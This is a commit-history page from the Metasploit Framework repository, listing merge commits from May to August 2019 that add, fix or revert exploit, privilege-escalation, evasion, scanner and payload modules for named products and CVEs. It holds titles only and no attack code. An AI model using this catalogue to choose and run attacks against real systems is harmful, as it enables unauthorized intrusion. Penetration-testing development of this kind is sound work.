Compare commits

..

1632 Commits

Author SHA1 Message Date
Metasploit bc70d76b6e automatic module_metadata_base.json update 2019-08-30 14:10:45 -05:00
William Vu 955ce087b5 Land #12244, cisco_ucs_scpuser exploit 2019-08-30 14:08:42 -05:00
William Vu 2ca7012ba9 Land #12243, cisco_ucs_rce exploit 2019-08-30 14:08:42 -05:00
William Vu e670e741a5 Land #12059, cisco_dcnm_download aux module 2019-08-30 14:08:41 -05:00
William Vu f338ad165a Land #12058, cisco_dcnm_upload_2019 exploit 2019-08-30 14:08:41 -05:00
William Vu 55b6aba7ad Land #12133, CVE-2019-1663 RV{110,215}W targets 2019-08-30 14:06:53 -05:00
Brent Cook faa5c7118a Land #12252, update .mailmap 2019-08-30 13:32:55 -05:00
Jeffrey Martin dfd6539cf2 Land #12253, Backport module deprecation by alias 2019-08-30 13:28:18 -05:00
William Vu 0b3b732fc6 Land #12223, module deprecation by alias 2019-08-30 12:16:27 -05:00
Metasploit 53367f5fc4 Bump version of framework to 4.17.78 2019-08-29 12:09:26 -05:00
Metasploit b242c34280 automatic module_metadata_base.json update 2019-08-23 10:34:26 -07:00
Shelby Pace ef4107b279 Land #12064, add Exim Local Privesc module 2019-08-23 10:26:54 -07:00
Metasploit 763ddf0589 automatic module_metadata_base.json update 2019-08-23 07:07:51 -07:00
Jacob Robles b7a570f436 Land #12219, Add Webmin password_change.cgi backdoor exploit 2019-08-23 06:54:53 -07:00
Metasploit afdbf62d50 Bump version of framework to 4.17.77 2019-08-22 10:05:38 -07:00
Metasploit 3c771feed3 automatic module_metadata_base.json update 2019-08-21 16:01:49 -07:00
OJ a7e85362dd Land #12186 - Add RDP Fingerprinting 2019-08-21 15:46:35 -07:00
Brent Cook b1e2e390cb Revert "Land #12181, add Juniper config parser tests"
This reverts commit 28e4e0e085.
2019-08-20 10:39:54 -05:00
Brent Cook ab1b974691 Revert "Land #12218, explicitly require factory_bot in spec helper"
This reverts commit d63befd573.
2019-08-20 10:39:41 -05:00
Brent Cook d63befd573 Land #12218, explicitly require factory_bot in spec helper 2019-08-20 05:56:18 -07:00
Brent Cook 85033ae33c Land #12168, fix HTTP client redirects with SSL enabled 2019-08-20 02:07:07 -07:00
Brent Cook 28e4e0e085 Land #12181, add Juniper config parser tests 2019-08-20 02:00:38 -07:00
Brent Cook aacbcb8f79 Land #12214, enable TLS1.0 support for RDP lib 2019-08-20 01:38:48 -07:00
Metasploit f49cfd15a9 automatic module_metadata_base.json update 2019-08-19 11:46:56 -07:00
Shelby Pace 040a3c6626 Land #12207, add LibreOffice/Logo file fmt exploit 2019-08-19 11:17:44 -07:00
Metasploit db3343682a automatic module_metadata_base.json update 2019-08-15 17:10:30 -07:00
William Vu fb8af009ee Land #12203, autofilter=false for a couple modules 2019-08-15 17:02:35 -07:00
Metasploit 4781e6e34c automatic module_metadata_base.json update 2019-08-15 16:56:15 -07:00
Brent Cook 3216ce31b5 Land #12205, prefer https always 2019-08-15 16:48:23 -07:00
Metasploit 332257af76 Bump version of framework to 4.17.76 2019-08-15 10:04:14 -07:00
Metasploit f57e81875a automatic module_metadata_base.json update 2019-08-15 08:39:37 -07:00
William Vu 96da332ff2 Land #12202, needs_cleanup for post modules 2019-08-15 08:31:32 -07:00
Adam Cammack 431f6162f5 Land #12188, fix module authors script's full_name 2019-08-13 17:39:06 -07:00
Jeffrey Martin 9e7a964377 Revert "Land #12032, add Xymon gather info module"
This reverts commit bb21979cc8.
2019-08-10 12:33:28 -05:00
Metasploit dd45189c57 Bump version of framework to 4.17.75 2019-08-08 10:02:14 -07:00
Shelby Pace bb21979cc8 Land #12032, add Xymon gather info module 2019-08-08 09:00:23 -07:00
William Vu 2cc2545f8e Land #12175, hadoop_unauth_exec NoMethodError fix 2019-08-07 20:47:11 -07:00
Brent Cook 1ca488c269 Land #12170, add 'Crash' action to Bluekeep scanner to send DoS payload 2019-08-07 17:43:04 -07:00
William Vu 90c62ca81c Land #12171, Msf::Exploit::Remote::RDP mixin 2019-08-07 15:14:22 -07:00
Jeffrey Martin 65430010eb Revert "Land #12158, needs_cleanup for on_new_session"
This reverts commit 52a135843e.
2019-08-02 15:39:19 -05:00
William Vu 52a135843e Land #12158, needs_cleanup for on_new_session 2019-08-02 13:03:00 -07:00
William Vu 385aa72084 Land #12152, EOFError fix for BlueKeep scanner 2019-08-02 09:26:07 -07:00
Jacob Robles 4905ef6f4b Land #12155, Fix printed CVE number 2019-08-01 16:04:20 -07:00
Jacob Robles 1355ffbb5d Land #11653, Apache Tika CVE-2018-1335 RCE 2019-08-01 15:49:38 -07:00
Jeffrey Martin 284d44910b Revert "Land #12130, Add evasion module applocker_evasion_msbuild"
This reverts commit e9b20c7140.
2019-08-01 16:56:26 -05:00
Metasploit 6b10f117f6 Bump version of framework to 4.17.74 2019-08-01 14:53:18 -07:00
Wei Chen e9b20c7140 Land #12130, Add evasion module applocker_evasion_msbuild 2019-08-01 09:25:22 -07:00
Jeffrey Martin 2e085b7b8d Land #12126, Implement "set PAYLOAD" by index 2019-07-31 15:11:44 -05:00
Brent Cook 3d7446f6ee Land #12148, lock bcrypt to arm compatibe version 2019-07-30 15:11:43 -07:00
h00die 68404b98e2 Land #12135 move docs to right locations 2019-07-29 09:19:28 -07:00
Metasploit a194ac6c63 automatic module_metadata_base.json update 2019-07-28 21:22:57 -07:00
Brent Cook effd76e443 Land #12119, Add OS X post module to manage Sonic Pi 2019-07-28 21:14:51 -07:00
Metasploit 9e246dee65 automatic module_metadata_base.json update 2019-07-28 20:10:59 -07:00
sinn3r 6a16431f9e Land #12131, Cast to_s in command_shell.rb
Cast to_s - Fix #11725
2019-07-28 19:58:24 -07:00
Wei Chen a989860937 Land #12132, Catch EOFError in alphastor_devicemanager_exec.rb
Fix #12061
2019-07-28 19:56:56 -07:00
Wei Chen d94ee275e1 Land #12134, Fix typo in payload_inject 2019-07-28 19:54:20 -07:00
Wei Chen 8cdef4df7a Land #12137, Update setting new .exe of Sophos AV 2019-07-28 19:51:41 -07:00
Wei Chen 20d1fa605f Land #12140, correct output printing bug from smb_enumshares 2019-07-28 19:49:06 -07:00
Wei Chen fa58b44509 Land #12107, Add module Redis Unauthenticated Code Execution 2019-07-28 19:42:19 -07:00
asoto-r7 e263d89c87 Land #12124, Add HttpRawHeaders (file) advanced option to HttpClient 2019-07-26 09:39:30 -07:00
Metasploit 9a7ff11efd Bump version of framework to 4.17.73 2019-07-25 10:02:36 -07:00
Metasploit 434e5ec4fc automatic module_metadata_base.json update 2019-07-25 07:31:54 -07:00
Wei Chen 1caa628777 Land #11205, Add support for Linux and pubprn.vbs to web_delivery 2019-07-25 07:18:00 -07:00
Jeffrey Martin 7029f6875b Revert "Add evasion module applocker_evasion_install_util"
This reverts commit b36942575a.
2019-07-24 10:49:55 -05:00
Metasploit 9a0a53bb71 automatic module_metadata_base.json update 2019-07-23 11:40:31 -07:00
Wei Chen b36942575a Land #11795, Add evasion module applocker_evasion_install_util 2019-07-23 11:32:40 -07:00
Metasploit e7dddd615c automatic module_metadata_base.json update 2019-07-23 10:31:38 -07:00
Wei Chen eb17db7be3 Land #12010, Add exploit module for wp-database-backup Wordpress plugin 2019-07-23 10:23:23 -07:00
Metasploit 62458d95b8 automatic module_metadata_base.json update 2019-07-23 09:07:11 -07:00
Wei Chen 378cf0ea2c Land #12116, cisco docs and bug fixes 2019-07-23 08:51:40 -07:00
h00die fc94f86e48 land #11990 windows tomcat cmdlinearguments 2019-07-23 10:25:12 -05:00
William Vu 8f1b325f37 Land #12121, rex-text update to 0.2.22 for XOR 2019-07-23 08:20:04 -07:00
Metasploit 97e425cc12 automatic module_metadata_base.json update 2019-07-23 00:26:02 -07:00
William Vu 2559917aa7 Land #12033, xor_context hostname-keyed encoder 2019-07-23 00:18:04 -07:00
Metasploit 7b3afe8d74 automatic module_metadata_base.json update 2019-07-22 16:20:01 -07:00
asoto-r7 466a4a7407 Land #12095, Ahsay backup v7.x - v8.1.1.50 file upload 2019-07-22 16:20:01 -07:00
asoto-r7 cd6d3c59b6 Land #12108, Prefer Rex::Text.dehex over hex_to_raw in msfvenom 2019-07-22 18:10:04 -05:00
Metasploit 0539997949 automatic module_metadata_base.json update 2019-07-22 13:28:18 -07:00
Shelby Pace 158c011af0 Land #12084, Add Schneider Encoder Exploit 2019-07-22 13:28:18 -07:00
Metasploit ee5cdd6d00 Bump version of framework to 4.17.72 2019-07-18 10:02:12 -07:00
Brent Cook 8b483747c5 Land #12023, repeat search by default 2019-07-16 13:58:05 -05:00
Brent Cook 176f863e45 Land #11941, add support for module aliases 2019-07-16 13:58:05 -05:00
William Vu f8c4b691f7 Land #11880, zero-index show command table 2019-07-16 13:51:24 -05:00
Jeffrey Martin 7ee156ddc8 Land #11819, Implement module use by previous search index 2019-07-16 13:47:24 -05:00
Brent Cook 50b66f5fac Land #11724, Improve 'use' command to automatically search and fuzzy-match if possible 2019-07-16 13:46:02 -05:00
William Vu 81c474e675 Land #11652, search -u to use first search result 2019-07-16 13:45:03 -05:00
Metasploit 3b7808e4ce automatic module_metadata_base.json update 2019-07-15 09:42:25 -07:00
Wei Chen 5786ad926c Land #12011, Add module for cve-2018-8453 2019-07-15 09:34:26 -07:00
Metasploit 169021ecc7 automatic module_metadata_base.json update 2019-07-15 07:53:59 -07:00
Jacob Robles 817dfd8892 Land #12070, Add module for CVE-2019-0841 2019-07-15 07:39:28 -07:00
Metasploit 654616b37a automatic module_metadata_base.json update 2019-07-12 18:41:31 -07:00
William Vu ace0022eb0 Land #12086, joomla_registration_privesc check fix 2019-07-12 18:33:19 -07:00
Adam Cammack e6e56f619e Land #12087, Use shell for passthrough commands 2019-07-12 12:05:54 -07:00
William Vu cb6400e270 Land #12031, Msf::Exploit::Remote::Tcp#shutdown 2019-07-12 10:36:12 -07:00
Metasploit 33e5446ec8 automatic module_metadata_base.json update 2019-07-12 07:47:57 -07:00
Jacob Robles f151d03c7a Land #12062, Add Laravel PHP RCE CVE-2018-15133 2019-07-12 07:34:07 -07:00
Metasploit cda612325c automatic module_metadata_base.json update 2019-07-11 13:37:24 -07:00
asoto-r7 bf02a4caee Land #12041, Add Xymon useradm Command Execution module 2019-07-11 13:22:45 -07:00
Jeffrey Martin 6d62bdae9f Land #12085, Fix is_payload_compatible? for nil payloads 2019-07-11 12:38:02 -07:00
Jeffrey Martin 088c3d404c Land 12079, No effing idea 2019-07-11 13:49:36 -05:00
Metasploit 842a4484b5 Bump version of framework to 4.17.71 2019-07-11 10:01:54 -07:00
William Vu 1ffb60ec48 Land #12080, system vs. popen for unknown_command 2019-07-11 02:17:01 -07:00
Metasploit 9db2744bef automatic module_metadata_base.json update 2019-07-10 16:05:57 -07:00
Metasploit 15376e9c9c automatic module_metadata_base.json update 2019-07-10 09:31:57 -07:00
William Vu 26eefd3c27 Land #12074, missing split fix for #12072 2019-07-10 09:22:32 -07:00
Metasploit b152e8753e automatic module_metadata_base.json update 2019-07-10 08:57:17 -07:00
William Vu 55026ba379 Land #12072, cmd_psh_payload arch string fixes 2019-07-10 08:40:43 -07:00
Metasploit 281d696211 automatic module_metadata_base.json update 2019-07-09 17:55:21 -07:00
h00die 6aab66e2fd Land #12024, add gatherproof to ssh_login modules 2019-07-09 17:39:10 -07:00
Metasploit ab940c6af7 automatic module_metadata_base.json update 2019-07-07 20:41:25 -07:00
Brent Cook d8535fdece Land #12045, lock rex-socket to 0.1.17 2019-07-07 20:41:25 -07:00
William Vu e0db0618cb Land #12044, snmp_enum SNMP::NoSuchInstance fix 2019-07-07 20:41:25 -07:00
Metasploit 4b128fd7dc Bump version of framework to 4.17.70 2019-07-04 10:07:44 -07:00
Metasploit 5a7fc51ce7 automatic module_metadata_base.json update 2019-07-02 11:01:16 -07:00
William Vu 43b66e9c1b Land #12042, bypassuac_silentcleanup author fix 2019-07-02 10:45:56 -07:00
Metasploit 92cc5ca02e automatic module_metadata_base.json update 2019-07-01 14:40:49 -07:00
Metasploit 0f2df15a88 automatic module_metadata_base.json update 2019-07-01 14:18:34 -07:00
asoto-r7 929c672760 Land #12030, CVE-2019-12181: Serv-U FTP Server prepareinstallation privesc 2019-07-01 14:03:32 -07:00
Metasploit b20af73693 automatic module_metadata_base.json update 2019-06-29 03:53:58 -07:00
Brent Cook f6f471df5e Land #11726, add exploit for CVE-2019-8513, macOS TimeMachine cmd injection 2019-06-29 03:38:51 -07:00
Metasploit b90deb6783 automatic module_metadata_base.json update 2019-06-29 01:47:48 -07:00
Brent Cook 7450af0c28 Land #11968, only enable UDP stagers for compatible payloads 2019-06-29 01:36:16 -07:00
Brent Cook 14c38b2144 Land #11923, Set sockaddr_len with x64 shell_find_port payload 2019-06-29 01:31:56 -07:00
Brent Cook 3d5d8bba46 Land #11976, use special-case path for shell command with Android meterpreter 2019-06-29 01:25:34 -07:00
Metasploit 51a31669c0 automatic module_metadata_base.json update 2019-06-28 10:42:16 -07:00
William Vu cbaa872342 Land #12007, true 0s timeout in send_request_* 2019-06-28 10:34:35 -07:00
William Vu 65514d9598 Land #12014, nil bug fix for HttpServer#get_uri 2019-06-28 10:34:35 -07:00
Metasploit e72d5b209f automatic module_metadata_base.json update 2019-06-28 10:21:39 -07:00
William Vu 27823604aa Land #11952, Supra Smart Cloud TV RFI module 2019-06-28 10:14:05 -07:00
Metasploit 3cfb1fb57c automatic module_metadata_base.json update 2019-06-28 09:44:19 -07:00
asoto-r7 b33630fb92 Land #12025, Fix sshexec hanging on exec! and blocking close 2019-06-28 09:30:24 -07:00
Metasploit 03cf958497 automatic module_metadata_base.json update 2019-06-28 08:47:17 -07:00
William Vu 6eac5239a2 Land #12022, LoginScanner/PASSWORD_SPRAY fix 2019-06-28 10:45:17 -05:00
Metasploit 200cc67256 Bump version of framework to 4.17.69 2019-06-27 11:39:44 -07:00
Metasploit 365fd9894b automatic module_metadata_base.json update 2019-06-27 10:04:11 -07:00
William Vu 8357082cb9 Land #11997, SilentCleanup UAC bypass 2019-06-27 09:55:33 -07:00
Metasploit e94d78b18a automatic module_metadata_base.json update 2019-06-27 09:47:30 -07:00
Metasploit f577ec36c3 automatic module_metadata_base.json update 2019-06-26 23:58:34 -07:00
William Vu 61211f3c47 Land #12019, typo fix for bypassuac_sluihijack 2019-06-26 23:49:36 -07:00
Metasploit fdfe01c0d3 automatic module_metadata_base.json update 2019-06-26 10:37:10 -07:00
William Vu e55ed68882 Land #12017, xdebug_unauth_exec nil fix 2019-06-26 10:28:46 -07:00
Metasploit daabe93f5b automatic module_metadata_base.json update 2019-06-26 09:25:25 -07:00
William Vu 482853757f Land #12018, Pen Test Partners reference for RV130 2019-06-26 09:16:14 -07:00
William Vu e01b046efb Land #12015, dcerpc_getarch documentation fix 2019-06-26 00:46:14 -07:00
Metasploit 4d1b1152f2 automatic module_metadata_base.json update 2019-06-25 14:34:23 -07:00
Wei Chen b53f02efed Land #11987, Add Nagios XI 5.5.6 magpie_debug Root Exploit 2019-06-25 14:20:15 -07:00
asoto-r7 83b8f3b946 Land #12013, Make SRVHOST the callback address in confluence_widget_connector 2019-06-25 14:08:45 -07:00
Metasploit 493fb6db37 Bump version of framework to 4.17.68 2019-06-25 13:06:18 -07:00
Metasploit b052d06249 Bump version of framework to 4.17.67 2019-06-25 12:55:24 -07:00
Metasploit 655e880bbf automatic module_metadata_base.json update 2019-06-24 23:07:18 -07:00
William Vu 7c29adfd2b Land #12008, struts2_content_type_ognl 302 fix 2019-06-24 22:50:56 -07:00
Metasploit 9d2f72806c automatic module_metadata_base.json update 2019-06-22 00:53:40 -07:00
William Vu ea8b7976bc Land #11996, ZDI reference for rails_double_tap 2019-06-22 00:37:13 -07:00
Metasploit 8e5a35e4f4 Bump version of framework to 4.17.66 2019-06-20 10:03:50 -07:00
Metasploit 05a1674062 automatic module_metadata_base.json update 2019-06-19 12:54:05 -07:00
Jeffrey Martin 35dbd645d2 Land #11993, Explicitly require 'rc4' in the BlueKeep scanner. 2019-06-19 12:44:18 -07:00
Metasploit 9b80776945 automatic module_metadata_base.json update 2019-06-19 09:10:27 -07:00
Wei Chen 89a54d4d4b Land #11960, Add LPE for Cisco Prime Infrastructure's runrshell exe 2019-06-19 08:52:32 -07:00
Wei Chen 7a74bbba01 Land #11956 - Add Cisco Prime Infrastructure Health Monitor Tar RCE 2019-06-19 08:50:44 -07:00
Metasploit 3f6eee122d automatic module_metadata_base.json update 2019-06-19 06:59:54 -07:00
Shelby Pace 88cef15e27 Land #11983, add Webmin package update rce 2019-06-19 06:38:39 -07:00
Jacob Robles 25d3c1e4c3 Land #11971, zip extraction from modbus pcap 2019-06-18 14:30:11 -07:00
Chris Higgins c407e34e20 Land #11904, fix meterpreter screenshot dll upload 2019-06-17 21:39:05 -07:00
Metasploit b6704353bc automatic module_metadata_base.json update 2019-06-16 12:01:44 -07:00
William Vu 2be4131c85 Land #11932, TLS and doc'd packets for BlueKeep 2019-06-16 12:01:44 -07:00
William Vu b020d65d62 Land #11979, missing bind_tcp_rc4 tests 2019-06-16 12:01:44 -07:00
Adam Cammack b306746edf Land #11965, Add secure Meterpreter command
The command will force or renegotiate TLV encryption on the for the
current session.
2019-06-13 12:24:35 -07:00
Metasploit 7ce00e1c50 automatic module_metadata_base.json update 2019-06-13 12:14:37 -07:00
bwatters-r7 b1d04d2934 Land #11958, abrt_raceabrt_priv_esc: Fix abrt package version check
Merge branch 'land-11958' into upstream-master
2019-06-13 12:05:46 -07:00
Metasploit 45d4a7f082 automatic module_metadata_base.json update 2019-06-13 10:33:00 -07:00
bwatters-r7 e8802f617b Land #11944, Implement bind TCP with RC4 decryption for x64
Merge branch 'land-11944' into upstream-master
2019-06-13 10:11:55 -07:00
Metasploit d494415f1e Bump version of framework to 4.17.65 2019-06-13 10:04:00 -07:00
William Vu 71bbd9d0ec Land #11974, full path in pgrep -lf output 2019-06-13 08:51:21 -07:00
William Vu 6b52d0f92d Land #11963, kill command help correction 2019-06-12 09:03:24 -07:00
Metasploit 75936a0b62 automatic module_metadata_base.json update 2019-06-11 11:16:03 -07:00
Metasploit 3feee2ff97 automatic module_metadata_base.json update 2019-06-11 07:52:10 -07:00
Matthew Kienow 62c5a6220a Land #11970, Correct Websphere module CVE ref 2019-06-11 07:34:35 -07:00
Wei Chen e2b8014aff Land #11951, Add meterpreter > screenshare command 2019-06-10 11:27:39 -07:00
Metasploit 5a49d1b23c automatic module_metadata_base.json update 2019-06-08 11:52:39 -07:00
William Vu f01df440c2 Land #11957, CVE references for TrueOnline modules 2019-06-08 11:34:54 -07:00
Brent Cook 1d9f751bd2 Land #11798, Add Extended Passive Mode for FTP client
Merge remote-tracking branch 'upstream/pr/11798' into upstream-master
2019-06-07 13:12:17 -07:00
Metasploit 2caf3a1225 automatic module_metadata_base.json update 2019-06-07 13:07:21 -07:00
Brent Cook f187cb7de0 Land #11340, make SSH agent and other options configurable 2019-06-07 12:51:49 -07:00
Metasploit d2f09d2537 Bump version of framework to 4.17.64 2019-06-07 08:59:47 -07:00
William Vu 1e5fe51f83 Land #11954, Retina XML importer fixes and updates 2019-06-06 22:43:25 -07:00
Metasploit 767a3dd150 Bump version of framework to 4.17.63 2019-06-06 10:03:43 -07:00
Metasploit c3b75f3884 automatic module_metadata_base.json update 2019-06-05 13:33:10 -07:00
Jacob Robles 0a448a2c23 Land #11940, Add files to test that may not be open 2019-06-05 13:14:00 -07:00
Adam Cammack c52bc3ba2e Land #11949, Fix wordpress_content_injection CVE 2019-06-05 12:59:47 -07:00
Metasploit 305e625981 automatic module_metadata_base.json update 2019-06-04 11:00:46 -07:00
Jacob Robles 3931784908 Land #11895, CVE-2018-20434 LibreNMS cmd injection exploit 2019-06-04 10:42:45 -07:00
Metasploit 0cf3dd3eff automatic module_metadata_base.json update 2019-06-04 10:28:28 -07:00
Jacob Robles b6bc3363c8 Land #11841, IBM WAS Network Deployment RCE CVE-2019-4279 2019-06-04 10:08:18 -07:00
bwatters-r7 fb4a26878d Land #11945, Make auto_cl more selective based on HTTP method
Merge branch 'land-11945' into upstream-master
2019-06-04 07:07:30 -07:00
bwatters-r7 b6f2000996 Land #11823, Handle invalid payloads more clearly
Merge branch 'land-11823' into upstream-master
2019-06-04 06:38:44 -07:00
bwatters-r7 3cbcec4f81 Land #11938, fix cmd_exec tests on python/windows
Merge branch 'land-11938' into upstream-master
2019-06-04 06:05:25 -07:00
Metasploit 014b20eb57 automatic module_metadata_base.json update 2019-06-03 23:15:34 -07:00
Wei Chen 228cb1d880 Land #11924, Update adobe_flash_opaque_background_uaf for Win 10 2019-06-03 22:57:13 -07:00
Metasploit dbcf9d158b automatic module_metadata_base.json update 2019-06-03 19:04:47 -07:00
Wei Chen b7dd3949fa Land #11937, make content-length header optional 2019-06-03 19:04:46 -07:00
bwatters-r7 982f999390 Land #11918, replace trivial usage of expand_path with getenv
Merge branch 'land-11918' into upstream-master
2019-06-03 21:02:32 -05:00
sinn3r 34d9b2a1e7 Land #11862, wordlists for wordpress plugin/theme directories
Add wordlists for enumerating WordPress plugin/theme directories
2019-06-02 22:56:38 -07:00
Metasploit 9a5162aebb automatic module_metadata_base.json update 2019-06-02 12:10:02 -07:00
Brent Cook 3a00eaad31 Land #11936, rename a few module docs 2019-06-02 12:10:02 -07:00
Tim W 8096efcf62 Land #11933, add default VID and cmd/unix support to post/multi/manage/play_youtube 2019-06-02 12:10:02 -07:00
Brent Cook abaf513c84 Land #11913, remove older Ruby's from test matrix 2019-06-02 12:10:01 -07:00
Brent Cook 1dd19a6a93 Land #11477, add Exploit for CVE-2018-4233 and async_wait for iOS 10 to 11.2 2019-06-02 14:07:26 -05:00
Metasploit c51ab11388 automatic module_metadata_base.json update 2019-06-01 10:34:39 -07:00
Brent Cook 2a132dee40 Land #11902, add missing cmd/unix/reverse_bash_udp test 2019-06-01 10:25:24 -07:00
Brent Cook 63bc5aec8f Land #11906, fix osx 10.7 hash IDing and JTR IDs 2019-06-01 10:25:23 -07:00
William Vu f9b104e04a Land #11911, Java payload fixes 2019-06-01 12:20:29 -05:00
Chris Higgins b39fc9e831 Land #11912, Bigdecimal boot 2019-05-31 12:08:02 -07:00
Brent Cook 511c48c6fb Land #11892, Fix parse IPv6 address in reverse_http 2019-05-31 11:17:41 -07:00
Metasploit 5f3168ed59 automatic module_metadata_base.json update 2019-05-31 08:28:25 -07:00
Brent Cook c749106b93 Land #11838, add keyboard and mouse input controls on Windows/MacOS 2019-05-31 10:25:34 -05:00
Metasploit 2e3e1fab73 Bump version of framework to 4.17.62 2019-05-30 10:03:04 -07:00
Metasploit efdb267413 Bump version of framework to 4.17.61 2019-05-30 06:35:06 -07:00
Metasploit b81f1549b7 automatic module_metadata_base.json update 2019-05-29 22:26:44 -07:00
William Vu 775027699e Land #11900, normalize_uri style fix 2019-05-29 22:18:02 -07:00
Metasploit 6e62470bb8 automatic module_metadata_base.json update 2019-05-29 22:02:31 -07:00
Brent Cook 85e6375f5f Land #11865, expand utility for allegro_rompager_auth_bypass 2019-05-29 21:42:42 -07:00
Brent Cook f57252fa74 Land #11898, only require pdf-reader if used 2019-05-29 21:37:32 -07:00
Metasploit ccc9e4ce01 automatic module_metadata_base.json update 2019-05-29 11:14:12 -07:00
Jacob Robles 974e5d5750 Land #11894, Note deprecated DIAL protocol in chromecast_youtube 2019-05-29 10:58:17 -07:00
Metasploit 977566be64 automatic module_metadata_base.json update 2019-05-28 09:49:45 -07:00
Jacob Robles 320fc5d60a Land #11882, oracle_login verbose message 2019-05-28 09:41:18 -07:00
Metasploit 2c9ba1517a automatic module_metadata_base.json update 2019-05-28 09:32:50 -07:00
bwatters-r7 fa2f471194 Land #11797, Added to code to remove payload once run.
Merge branch 'land-11797' into upstream-master
2019-05-28 09:15:25 -07:00
Metasploit 6ffbe183e2 automatic module_metadata_base.json update 2019-05-25 12:12:41 -07:00
William Vu 6ae01a9323 Land #11885, linux/armle/shell_bind_tcp ARGV0 fix 2019-05-25 11:56:47 -07:00
Metasploit eada7f9493 automatic module_metadata_base.json update 2019-05-24 16:55:35 -07:00
Brent Cook 23ef2644f7 Land #11884, Fix rdp_scanner and update CVE-2019-0708 docs 2019-05-24 16:38:34 -07:00
Metasploit 341e92501c Bump version of framework to 4.17.60 2019-05-24 14:41:44 -07:00
asoto-r7 8d6cb56295 Land #11883, CVE-2019-0708 docs change to .md extension 2019-05-24 14:39:02 -07:00
Metasploit 9ac228d8e1 automatic module_metadata_base.json update 2019-05-24 14:14:31 -07:00
asoto-r7 1b2a024b03 Land #11869, auxiliary/scanner/rdp/cve_2019_0708_bluekeep 2019-05-24 14:05:51 -07:00
Metasploit f859765b6e automatic module_metadata_base.json update 2019-05-24 09:47:34 -07:00
Jacob Robles e8158ddc24 Land #11846, OATS Console War Deployment 2019-05-24 09:31:30 -07:00
Wei Chen 4c7f407eaf Land #11811, add new target in doc for bpf_sign_extension_priv_esc 2019-05-24 08:52:54 -07:00
Metasploit 8efec8544f automatic module_metadata_base.json update 2019-05-24 06:47:02 -07:00
Jacob Robles ab7f569a11 Land #11822, Add CVE-2019-2557 OATS Directory Traversal 2019-05-24 06:47:02 -07:00
William Vu 08ad156e31 Land #11857, cmd/unix/reverse_bash_udp payload 2019-05-24 06:47:02 -07:00
William Vu 467f4a7865 Land #11794, postgres_payload Postgres 8.2+ update 2019-05-24 06:47:02 -07:00
Jeffrey Martin 81c4a62d8d Land #11879, Add multi-host tab completion to analyze command and fix range truncation bug 2019-05-24 08:44:59 -05:00
Metasploit 1e4eaf3e02 automatic module_metadata_base.json update 2019-05-23 13:17:38 -07:00
Jeffrey Martin fd23031067 Land #11878, Add tab completion and MS17-010 support to analyze command 2019-05-23 13:07:51 -07:00
Metasploit 3259c55655 automatic module_metadata_base.json update 2019-05-23 12:18:15 -07:00
Brent Cook 659275f647 Land #11873, allow calling methods across related modules 2019-05-23 12:00:59 -07:00
Metasploit 1b446822b0 Bump version of framework to 4.17.59 2019-05-23 10:03:09 -07:00
Metasploit d097f49d7c automatic module_metadata_base.json update 2019-05-23 08:12:19 -07:00
Jacob Robles 966f0782c1 Land #11843, Update MSB references 2019-05-23 09:43:32 -05:00
bwatters-r7 05a769eaaf Land #11863, Bump mettle 0.5.13
Merge branch 'land-11863' into upstream-master
2019-05-23 09:25:42 -05:00
Metasploit 5c38c3af56 automatic module_metadata_base.json update 2019-05-23 05:00:07 -07:00
Jacob Robles b458521bc1 Land #11864, Add RCE vector to Jenkins ACL bypass 2019-05-23 04:43:07 -07:00
Metasploit c8e8c8d248 automatic module_metadata_base.json update 2019-05-22 18:10:47 -07:00
William Vu 4f391304a3 Land #11860, pipe_auditor backslash normalization 2019-05-22 17:53:07 -07:00
Metasploit d3be0d687b automatic module_metadata_base.json update 2019-05-22 12:50:27 -07:00
William Vu fc9a731b87 Land #11868, iis_webdav_upload_asp disclosure date 2019-05-22 12:33:24 -07:00
William Vu 653e1f5f32 Land #11861, WebLogic AsyncResponseService updates 2019-05-22 12:33:24 -07:00
Metasploit f43b85202c automatic module_metadata_base.json update 2019-05-22 12:24:02 -07:00
William Vu 245a02f7a0 Land #11847, jenkins_gather fixes 2019-05-22 11:43:43 -07:00
Metasploit 8d90286154 automatic module_metadata_base.json update 2019-05-21 05:33:52 -07:00
Jacob Robles ec565231e3 Land #11661, Onion Omega2 login scanner 2019-05-21 05:17:06 -07:00
Metasploit 6e61ba4cd5 automatic module_metadata_base.json update 2019-05-20 13:33:43 -07:00
Shelby Pace 2d4ab992ef Land #11805, add bsd targets to sshexec 2019-05-20 13:33:43 -07:00
Brendan Coles 39a0e0c226 Land #11808, add FreeBSD rtld privesc 2019-05-20 15:29:53 -05:00
Metasploit c300018ab8 automatic module_metadata_base.json update 2019-05-20 11:23:54 -07:00
bwatters-r7 76ee5556b8 Land #11833, moodle_cmd_exec nil check
Merge branch 'land-11833' into upstream-master
2019-05-20 11:10:19 -07:00
Wei Chen af7b60a702 Land #11818, Add CVE-2019-8565 OSX Feedback Assistant local root exploit 2019-05-20 10:53:56 -07:00
William Vu 32d0c9c697 Land #11859, struts2_rest_xstream style fix 2019-05-20 10:42:49 -07:00
bwatters-r7 2adb6c18fa Land #11834, Fix ams_hndlrsvc
Merge branch 'land-11834' into upstream-master
2019-05-20 10:35:37 -07:00
Metasploit 9aa234f0d1 automatic module_metadata_base.json update 2019-05-17 16:33:49 -07:00
Wei Chen 8c5fef6081 Land #11828, Add CVE-2017-18357: Shopware Object Instantiation 2019-05-17 16:25:07 -07:00
Metasploit 6d7e1be3d4 automatic module_metadata_base.json update 2019-05-17 03:34:29 -07:00
Brent Cook 41d376a8a0 Land #11374, add super-small version of bind tcp random payload 2019-05-17 03:16:27 -07:00
Metasploit 9bd4597364 automatic module_metadata_base.json update 2019-05-16 11:36:27 -07:00
William Vu 0df0003ca5 Land #11842, Powershell::wrap_double_quotes fix 2019-05-16 11:28:17 -07:00
Metasploit 586f57c1af Bump version of framework to 4.17.58 2019-05-16 10:03:24 -07:00
Metasploit 5e1ae6282c automatic module_metadata_base.json update 2019-05-16 09:49:49 -07:00
Shelby Pace c517a43683 Land #11802, add GetSimple CMS RCE module 2019-05-16 09:33:27 -07:00
Metasploit 7cc31b55fc automatic module_metadata_base.json update 2019-05-14 16:09:32 -07:00
Jeffrey Martin 9d94d63187 Land #11548, unifi backup downloader 2019-05-14 15:48:43 -07:00
Jeffrey Martin aa90ce9f48 Land #11820, Display NOCVE reason cleanly in info command output 2019-05-14 08:39:20 -07:00
Metasploit 5d28c264d1 automatic module_metadata_base.json update 2019-05-10 14:06:23 -07:00
asoto-r7 dbc07b6f62 Land #11821, correct payload size output and exception handling 2019-05-09 13:38:49 -07:00
Metasploit a34f03d788 Bump version of framework to 4.17.57 2019-05-09 10:02:54 -07:00
